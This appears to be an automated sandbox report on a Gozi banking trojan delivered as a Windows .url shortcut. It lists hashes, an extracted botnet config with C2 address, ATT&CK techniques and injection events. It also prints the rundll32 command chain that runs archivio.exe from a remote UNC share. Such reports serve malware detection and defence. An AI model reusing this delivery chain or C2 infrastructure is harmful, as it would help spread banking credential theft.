gozi | 4f073919ddc03bc405b70a5d3cc9bcd9946c9491a5870e917b0bf238f6bc2e51

Analysis

max time kernel
146s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
10-10-2023 14:19

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General

Target

Cliente.url
Size

194B
MD5

e8cb7e0b429afab68853fcde2d0910d3
SHA1

737c2809fcc4cf61c6c6ed8c2148e4eed77fdd7c
SHA256

9cbbd8f990a574e59d15d8f32f1b2442a5faaf57d89e0b4c022651813ff6b3bb
SHA512

dda9bc11b0bad298ae544bdd0305ed24704a988b436f43d5b539af8d7138e33d80f0d60e0ad60d81c5af973092625871b83638641c49e55f1a7334b70c431255

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

45.93.139.24

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 3864 wrote to memory of 1348	3864	rundll32.exe	archivio.exe
PID 3864 wrote to memory of 1348	3864	rundll32.exe	archivio.exe
PID 3864 wrote to memory of 1348	3864	rundll32.exe	archivio.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Cliente.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3864

\??\UNC\62.173.146.71\scarica\archivio.exe
"\\62.173.146.71\scarica\archivio.exe"
2⤵
PID:1348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1348-1-0x0000000002460000-0x0000000002560000-memory.dmp

Filesize
1024KB

Download
memory/1348-2-0x0000000002310000-0x000000000231B000-memory.dmp

Filesize
44KB

Download
memory/1348-3-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/1348-4-0x0000000002450000-0x000000000245D000-memory.dmp

Filesize
52KB

Download
memory/1348-7-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/1348-8-0x0000000002460000-0x0000000002560000-memory.dmp

Filesize
1024KB

Download
memory/1348-9-0x0000000002310000-0x000000000231B000-memory.dmp

Filesize
44KB

Download